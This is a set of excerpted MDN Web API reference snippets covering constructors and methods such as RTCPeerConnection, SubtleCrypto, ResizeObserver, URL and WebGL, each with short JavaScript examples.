... example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that specification.
PeriodicWave.PeriodicWave() - Web APIs
the periodicwave() constructor of the web audio api creates a new periodicwave object instance.
... syntax var mywave = new periodicwave(context, options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new periodicwave object instance.
... example var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disablenormalization : false } var wave = new periodicwave(ac, options); specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
Pointer Lock API - Web APIs
requestpointerlock() the pointer lock api, similar to the fullscreen api, extends dom elements by adding a new method, requestpointerlock().
...(from https://w3c.github.io/pointerlock/#extensions-to-the-element-interface) pointerlockelement and exitpointerlock() the pointer lock api also extends the document interface, adding both a new property and a new method.
... the new property is used for accessing the currently locked element (if any), and is named pointerlockelement and the new method on document is exitpointerlock() and, as the name implies, it is used to exit the pointer lock.
...two new attributes to mouse events—movementx and movementy—provide the change in mouse positions.
Using Pointer Events - Web APIs
tracking new touches we'll keep track of the touches in-progress.
... var ongoingtouches = new array(); when a pointerdown event occurs, indicating that a new touch on the surface has occurred, the handlestart() function below is called.
...goingtouchindexbyid(evt.pointerid); log("continuing touch: idx = " + idx); if (idx >= 0) { ctx.beginpath(); log("ctx.moveto(" + ongoingtouches[idx].pagex + ", " + ongoingtouches[idx].pagey + ");"); ctx.moveto(ongoingtouches[idx].pagex, ongoingtouches[idx].pagey); log("ctx.lineto(" + evt.clientx + ", " + evt.clienty + ");"); ctx.lineto(evt.clientx, evt.clienty); ctx.linewidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(evt)); // swap in the new touch record log("."); } else { log("can't figure out which touch to continue: idx = " + idx); } } this function looks in our cached touch information array for the previous information about each touch to determine the starting point for each touch's new l...
... function handleend(evt) { log("pointerup"); var el = document.getelementsbytagname("canvas")[0]; var ctx = el.getcontext("2d"); var color = colorfortouch(evt); var idx = ongoingtouchindexbyid(evt.pointerid); if (idx >= 0) { ctx.linewidth = 4; ctx.fillstyle = color; ctx.beginpath(); ctx.moveto(ongoingtouches[idx].pagex, ongoingtouches[idx].pagey); ctx.lineto(evt.clientx, evt.clienty); ctx.fillrect(evt.clientx - 4, evt.clienty - 4, 8, 8); // and a square at the end ongoingtouches.splice(idx, 1); // remove it; we're done } else { log("can't figure out which touch to end"); } } this is very sim...
PromiseRejectionEvent() - Web APIs
the promiserejectionevent() constructor returns a newly created promiserejectionevent, which represents events fired when a javascript promise is rejected.
... return value a new promiserejectionevent configured as specified by the parameters.
... examples this example creates a new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire".
... let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification.
PublicKeyCredentialCreationOptions - Web APIs
this is provided by the relying party to avoid creating new public key credentials for an existing user who already have some.
... examples // some examples of cose algorithms const cose_alg_ecdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server challenge: new uint8array(26), // user user: { id: new uint8array(16), name: "joh...
...smith", }, // requested format of new keypair pubkeycredparams: [{ type: "public-key", alg: cose_alg_ecdsa_w_sha256, }], // timeout after 1 minute timeout: 60000, // do not send the authenticator's origin attestation attestation: "none", extensions: { uvm: true, exts: true }, // filter out authenticators which are bound to the device authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "preferred" }, // exclude already existing credentials for the user excludecredentials: [ { ...
... type: "public-key", // the id for john.doe@example.com id : new uint8array(26) /* this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ] } }; // create the new credential with the options above navigator.credentials.create(createcredentialoptions) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; var clientextensionsoutputs = newcredentialinfo.getclientextensionsresults(); // send the response to the relying party server // it will verify the content and integrity before // creating a new credential }).catch(function (err) { ...
PushEvent.PushEvent() - Web APIs
the pushevent() constructor creates a new pushevent object.
... syntax var mypushevent = new pushevent(type, eventinitdict); parameters type a domstring defining the type of pushevent.
...when the constructor is invoked, the pushevent.data property of the resulting object will be set to a new pushmessagedata object containing bytes extracted from the eventinitdict data member.
... example var datainit = { data : 'some sample text' } var mypushevent = new pushevent('push', datainit); mypushevent.data.text(); // should return 'some sample text' browser compatibility the compatibility table on this page is generated from structured data.
RTCDataChannel: message event - Web APIs
examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
... dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... line 6 appends the new paragraph to the end of the document's body.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDtlsTransport.state - Web APIs
its value is one of the following: new the initial state when dtls has not started negotiating yet.
... let pc = new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ...
... */ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } else { switch(transport.state) { case "new": case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; } note that...
... in this code, the new and connecting states are being treated as a single connectionpending status in the returned object.
RTCDtlsTransport - Web APIs
for example, to create the connection using the highest level of bundling: const rtcconfig = { bundlepolicy: "max-bundle" }; const pc = new rtcpeerconnection(rtcconfig); bundling lets you use one rtcdtlstransport to carry the data for multiple higher-level transports, such as multiple rtcrtptransceivers.
... let pc = new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ...
... */ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } else { switch(transport.state) { case "new": case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; } note that...
... in this code, the new and connecting states are being treated as a single connectionpending status in the returned object.
RTCIceCandidate.RTCIceCandidate() - Web APIs
the rtcicecandidate() constructor creates and returns a new rtcicecandidate object, which can be configured to represent a single ice candidate.
... syntax candidate = new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object providing information about the candidate; if this is provided, the candidate is initialized configured to represent the described candidate.
... return value a newly-created rtcicecandidate object, optionally configured based on the specified object based on the rtcicecandidateinit dictionary.
... if candidateinfo is provided, the new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit.
RTCIceCandidate.candidate - Web APIs
this property can be configured by specifying the value of the candidate property when constructing the new candidate object using rtcicecandidate().
... function handlenewicecandidate(candidatesdp) { var candidateobj = new rtcicecandidate(candidatesdp); mypeerconnection.addicecandidate(candidateobj).catch({ /* handle the error thrown by addicecandidate() */ }); } the handlenewicecandidate() function shown here passes the received candidate's sdp text into rtcicecandidate() to receive an rtcicecanddiate object in return, which represents the candidate.
... the new candidate is then passed into rtcpeerconnection.addicecandidate() to add the candidate to the list of candidates for webrtc to consider using for the connection being established.
... this example could be simplified somewhat; you may more often see the code look something like this, taking advantage of more advanced ecmascript 2016 features: let handlenewicecandidate = candidatesdp => mypeerconnection.addicecandidate(new rtcicecandidate(candidatesdp)); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.candidate' in that specification.
RTCIceServer.credentialType - Web APIs
credentialtype = newcredentialtype, ...
... }; var credentialtype = iceserver.credentialtype; iceserver.credentialtype = newcredentialtype; value the permitted values are found in the rtcicecredentialtype enumerated string type: oauth the rtciceserver requires the use of oauth 2.0 to authenticate in order to use the ice server described.
... example this example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.url - Web APIs
WebAPIRTCIceServerurl
it was removed from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to new browsers.
...you should instead use the newer urls property, which allows you to optionally specify multiple urls for the server.
... example this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a backup domain name of stunserver2.example.org is to add a new entry to the iceservers array for it.
RTCPeerConnection.addTransceiver() - Web APIs
the rtcpeerconnection method addtransceiver() creates a new rtcrtptransceiver and adds it to the set of transceivers associated with the rtcpeerconnection.
... init optional an object that conforms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the new transceiver.
... possible values are: direction optional the new transceiver's preferred directionality.
... this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property.
RTCPeerConnection.createOffer() - Web APIs
the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of starting a new webrtc connection to a remote peer.
... the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescription object containing the newly-created offer.
... successcallback an rtcsessiondescriptioncallback which will be passed a single rtcsessiondescription object describing the newly-created offer.
... notreadableerror no certificate or set of certificates was provided for securing the connection, and createoffer() was unable to create a new one.
RTCPeerConnection: icecandidate event - Web APIs
sharing a new candidate the majority of icecandidate events are fired to indicate that a new candidate has been gathered.
... you should deliver this to the remote peer just like any standard candidate, as described under sharing a new candidate above.
... if you need to perform any special actions when there are no further candidates expected, you're much better off watching the ice gathering state by watching for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { switch(pc.icegatheringstate) { case "new": /* gathering is either just starting or has been reset */ break; case "gathering": /* gathering has begun or is ongoing */ break; case "complete": /* gathering has ended */ break; } }); as you can see in this example, the icegatheringstatechange event lets you know when the value of the rtcpeerconnection property icegatheringstate has been updated...
... first, an example using addeventlistener(): pc.addeventlistener("icecandidate", ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }, false); you can also set the onicecandidate event handler property directly: pc.onicecandidate = ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }; specifications specification status comment webrtc 1.0: real-time communication...
RTCPeerConnection.setConfiguration() - Web APIs
perhaps the user has moved into a new region, so using new regional ice servers is necessary, for example.
... in this situation, one might call setconfiguration() to switch to new regional ice servers, then initiate an ice restart.
...the changes are not additive; instead, the new values completely replace the existing ones.
...opcode.com", credential: "topsecretpassword" }] }; mypeerconnection.setconfiguration(restartconfig); mypeerconnection.createoffer({"icerestart": true}).then(function(offer) { return mypeerconnection.setlocaldescription(offer); }) .then(function() { // send the offer to the other peer using the signaling server }) .catch(reporterror); first, a new rtcconfiguration is created, restartconfig, specifying the new ice server and its credentials.
RTCPeerConnection.setLocalDescription() - Web APIs
if the signaling state is one of stable, have-local-offer, or have-remote-pranswer, the webrtc runtime automatically creates a new offer and sets that as the new local description.
... otherwise, setlocaldescription() creates an answer, which becomes the new local description.
...they're interchangeable: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(offer); }); this is equivalent to: mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(new rtcsessiondescription(offer)); }); for this reason, the rtcsessiondescription() constructor is deprecated.
...we can then send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer().
RTCPeerConnection.setRemoteDescription() - Web APIs
this lets you simplify code such as the following: mypeerconnection.setremotedescription(new rtcsessiondescription(description)) .then(function () { return createmystream(); }) to simply be: mypeerconnection.setremotedescription(description) .then(function () { return createmystream(); }) using async/await syntax, you can further simplify this to: await mypeerconnection.setremotedescription(description); createmystream(); since it's unnecessary, the rtcsessiondescription() cons...
...these states indicate that either an existing connection is being renegotiated or that an offer previously specified by an earlier call to setremotedescription() is to be replaced with the new offer.
...this begins a new negotiation session, with the newly-established offer as the starting point.
... upon starting the new negotiation with the newly-established offer, the local peer is now the callee, even if it was previously the caller.
RTCPeerConnection: track event - Web APIs
the track event is sent to the ontrack event handler on rtcpeerconnections after a new track has been added to an rtcrtpreceiver which is part of the connection.
... bubbles yes cancelable no interface rtctrackevent event handler property ontrack by the time this event is delivered, the new track has been fully added to the peer connection.
... examples this example shows code that creates a new rtcpeerconnection, then adds a new track event handler.
... pc = new rtcpeerconnection({ iceservers: [ { urls: "turn:fake.turnserver.url", username: "someusername", credential: "somepassword" } ] }); pc.addeventlistener("track", e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; }, false); the event handler assigns the new track's first stream to an existing <video> element, identified using the variable videoelement.
ResizeObserver() - Web APIs
the resizeobserver constructor creates a new resizeobserver object, which can be used to report changes to the content or border box of an element or the bounding box of an svgelement.
... syntax var resizeobserver = new resizeobserver(callback) parameters callback the function called whenever an observed resize occurs.
... the function is called with two parameters: entries an array of resizeobserverentry objects that can be used to access the new dimensions of the element after each change.
... the callback will generally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to each entry // and possibly something to the observer itself } } examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max...
ResizeObserverEntry.contentRect - Web APIs
the contentrect read-only property of the resizeobserverentry interface returns a domrectreadonly object containing the new size of the observed element when the callback is run.
... syntax var contentrect = resizeobserverentry.contentrect; value a domrectreadonly object containing the new size of the element indicated by the target property.
...this uses a simple feature detection test to see if the browser supports the newer resizeobserverentry.contentboxsize property — if so, it uses that to get the sizing data it needs.
... const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'contentrect' in that specification.
SVGAnimationElement - Web APIs
the new instance time is added to the begin instance times list.
...the new instance time is added to the begin instance times list.
...the new instance time is added to the end instance times list.
...the new instance time is added to the end instance times list.
SVGLength - Web APIs
WebAPISVGLength
interface overview also implement none methods void newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void converttospecifiedunits(in unsigned short unittype) properties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtyp...
...javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluespecifiedunits(svglength.svg_lengthtype_pt, 20); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to inches and read out in pixel and inch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.va...
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
... methods name & arguments return description newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void reset the value as a number with an associated unittype, thereby replacing the values for all of the attributes on the object.
Service Worker API - Web APIs
installation is attempted when the downloaded file is found to be new — either different to an existing service worker (byte-wise compared), or the first service worker encountered for this page/site.
... if there is an existing service worker available, the new version is installed in the background, but not yet activated — at this point it is called the worker in waiting.
...as soon as there are no more pages to be loaded, the new service worker activates (becoming the active worker).
... reacting to push messages: start up a service worker to send users a message to tell them new content is available.
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgrammarlist() constructor creates a new speechgrammarlist object instance.
... syntax var mygrammarlist = new speechgrammarlist(); parameters none.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SubmitEvent() - Web APIs
the submitevent() constructor creates and returns a new submitevent object, which is used to represent a submit event fired at an html form.
... syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred.
...next, a new submitevent is created, configured with its submitter set to the identified button (or null if the button wasn't found).
... const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful.
SubtleCrypto.encrypt() - Web APIs
function getmessageencoding() { const messagebox = document.queryselector(".rsa-oaep #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(publickey) { let encoded = getmessageencoding(); return window.crypto.subtle.encrypt( { name: "rsa-oaep" }, publickey, encoded ); } aes-ctr this code fetches the contents of a text box, encodes it for encryption, and encrypts it using aes in ctr mode.
... function getmessageencoding() { const messagebox = document.queryselector(".aes-ctr #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // counter will be needed for decryption counter = window.crypto.getrandomvalues(new uint8array(16)); return window.crypto.subtle.encrypt( { name: "aes-ctr", counter, length: 64 }, key, encoded ); } let iv = new uint8array(16); let key = new uint8array(16); let data = new uint8array(12345); //crypto functions are wrapped in promises so we have to use await and make sure the function that //contains this code is an async function //encrypt function wants a...
... function getmessageencoding() { const messagebox = document.queryselector(".aes-cbc #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // iv will be needed for decryption iv = window.crypto.getrandomvalues(new uint8array(16)); return window.crypto.subtle.encrypt( { name: "aes-cbc", iv }, key, encoded ); } aes-gcm this code fetches the contents of a text box, encodes it for enc...
... function getmessageencoding() { const messagebox = document.queryselector(".aes-gcm #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // iv will be needed for decryption iv = window.crypto.getrandomvalues(new uint8array(12)); return window.crypto.subtle.encrypt( { name: "aes-gcm", iv: iv }, key, encoded ); } specifications specification status comment web cryptography apithe definition of 'subtlecrypto.encrypt()' in that specification.
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for symmetric algorithms) or key pair (for public-key algorithms).
... keyusages is an array indicating what can be done with the newly generated key.
... derivekey: the key may be used in deriving a new key.
... let keypair = window.crypto.subtle.generatekey( { name: "rsa-oaep", moduluslength: 4096, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256" }, true, ["encrypt", "decrypt"] ); elliptic curve key pair generation this code generates an ecdsa signing key pair.
SubtleCrypto.sign() - Web APIs
WebAPISubtleCryptosign
*/ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "rsassa-pkcs1-v1_5", privatekey, encoded ); rsa-pss this code fetches the contents of a text box, encodes it for signing, and signs it with a private key.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "rsa-pss", saltlength: 32, }, privatekey, encoded ); ecdsa this code fetches the contents of a text box, encodes it for signing, and signs it with a private key.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( { name: "ecdsa", hash: {name: "sha-384"}, }, privatekey, encoded ); hmac this code fetches the contents of a text box, encodes it for signing, and signs it with a secret key.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } let encoded = getmessageencoding(); let signature = await window.crypto.subtle.sign( "hmac", key, encoded ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.sign()' in that specification.
SubtleCrypto.verify() - Web APIs
*/ function getmessageencoding() { const messagebox = document.queryselector(".rsassa-pkcs1 #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".rsa-pss #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".ecdsa #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature.
...*/ function getmessageencoding() { const messagebox = document.queryselector(".hmac #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature.
TextDecoder() - Web APIs
the textdecoder() constructor returns a newly created textdecoder object for the encoding specified in parameter.
... syntax decoder = new textdecoder(utflabel, options); parameters utflabeloptional is a domstring, defaulting to "utf-8", containing the label of the encoder.
... example var textdecoder1 = new textdecoder("iso-8859-2"); var textdecoder2 = new textdecoder(); var textdecoder3 = new textdecoder("csiso2022kr", {fatal: true}); // allows encodingerror exception to be thrown.
... var textdecoder4 = new textdecoder("iso-2022-cn"); // throw a typeerror exception.
TrackDefault - Web APIs
constructor trackdefault() constructs and returns a new trackdefault object.
... trackdefault.language read only returns the default language to use when an initialization segment does not contain language information for a new track.
... trackdefault.label read only returns the default label to use when an initialization segment does not contain label information for a new track.
... trackdefault.kinds read only returns the default kinds used when an initialization segment does not contain kind information for a new track.
TrackEvent() - Web APIs
the trackevent() constructor creates and returns a new trackevent object describing an event which occurred on a list of tracks (audiotracklist, videotracklist, or texttracklist).
... syntax trackevent = new trackevent(type, eventinfo); parameters type the type of track event which is described by the object: "addtrack" or "removetrack".
... eventinfo optional an optional dictionary providing additional information configuring the new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track.
... return value a newly-created trackevent object, initialized as described by the inputs to the constructor.
TransformStream - Web APIs
async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform...
...ot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by the native constructors.
... const tes = { start(){this.encoder = new textencoder()}, transform(chunk, controller) { controller.enqueue(this.encoder.encode(chunk)) } } let _jstes_wm = new weakmap(); /* info holder */ class jstextencoderstream extends transformstream { constructor() { let t = {...tes} super(t) _jstes_wm.set(this, t) } get encoding() {return _jstes_wm.get(this).encoder.encoding} } similarly, textdecoderstream can be written as such: const tes = { start(){ this.decoder = new textdecoder(this.encoding, this.options) }, transform(chunk, controller) { controller.enqueue(this.decoder.decode(chunk)) } } let _jstds_wm = new weakmap(); /* info holder */ class jstextdecoderstream extends transformstream { c...
... let responses = [ /* conjoined response tree */ ] let {readable, writable} = new transformstream responses.reduce( (a, res, i, arr) => a.then(() => res.pipeto(writable, {preventclose: (i+1) !== arr.length})), promise.resolve() ) note that this is not resilient to other influences.
URL() - Web APIs
WebAPIURLURL
the url() constructor returns a newly created url object representing the url defined by the parameters.
... syntax const url = new url(url [, base]) parameters url a usvstring representing an absolute or relative url.
... examples // base urls let m = 'https://developer.mozilla.org'; let a = new url("/", m); // => 'https://developer.mozilla.org/' let b = new url(m); // => 'https://developer.mozilla.org/' new url('docs', b); // => 'https://developer.mozilla.org/docs' let d = new url('/docs', b); // => 'https://developer.mozilla.org/docs' new url('/docs', d); ...
... // => 'https://developer.mozilla.org/docs' new url('/docs', a); // => 'https://developer.mozilla.org/docs' new url('/docs', "https://developer.mozilla.org/fr-fr/toto"); // => 'https://developer.mozilla.org/docs' new url('/docs', ''); // raises a typeerror exception as '' is not a valid url new url('/docs'); // raises a typeerror exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example.com/' new url("//foo.com", "...
URLSearchParams - Web APIs
methods urlsearchparams.append() appends a specified key/value pair as a new search parameter.
... examples var paramsstring = "q=urlutils.searchparams&topic=api"; var searchparams = new urlsearchparams(paramsstring); //iterate the search parameters.
... var paramsstring1 = "http://example.com/search?query=%40"; var searchparams1 = new urlsearchparams(paramsstring1); searchparams1.has("query"); // false searchparams1.has("http://example.com/search?query"); // true searchparams1.get("query"); // null searchparams1.get("http://example.com/search?query"); // "@" (equivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearchparams(paramsstring2); searchparams2.has("query"); // tru...
...e var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of 'urlsearchparams' in that specification.
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
the vttcue() constructor creates and returns a new vttcue object.
... syntax vttcue = new vttcue(starttime, endtime, text); parameters starttime this is a double representing the initial text track cue start time.
... return value a new vttcue object representing a cue which will be presented during the time span given.
...var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web video text tracks formatthe definition of 'vttcue()' in that specification.
VTTRegion - Web APIs
WebAPIVTTRegion
constructor vttregion() returns a newly created vttregion object.
... vttregion.scroll an enum representing how adding new cues will move existing cues.
... examples var region = new vttregion(); region.width = 50; // use 50% of the video width region.lines = 4; // use 4 lines of height.
...var cue = new vttcue(2, 3, 'cool text to be displayed'); cue.region = region; // this cue will be drawn only within this region.
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.createquery() creates a new webglquery object.
... sampler objects webgl2renderingcontext.createsampler() creates a new webglsampler object.
... sync objects webgl2renderingcontext.fencesync() creates a new webglsync object and inserts it into the gl command stream.
... webgl2renderingcontext.createvertexarray() creates a new webglvertexarrayobject.
Creating 3D objects using WebGL - Web APIs
var colors = []; for (var j = 0; j < facecolors.length; ++j) { const c = facecolors[j]; // repeat each color four times for the four vertices of the face colors = colors.concat(c, c, c, c); } const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw); define the element array once the vertex arrays are generated, we need to build the element array.
... const indices = [ 0, 1, 2, 0, 2, 3, // front 4, 5, 6, 4, 6, 7, // back 8, 9, 10, 8, 10, 11, // top 12, 13, 14, 12, 14, 15, // bottom 16, 17, 18, 16, 18, 19, // right 20, 21, 22, 20, 22, 23, // left ]; // now send the element array to gl gl.bufferdata(gl.element_array_buffer, new uint16array(indices), gl.static_draw); return { position: positionbuffer, color: colorbuffer, indices: indexbuffer, }; } the indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays.
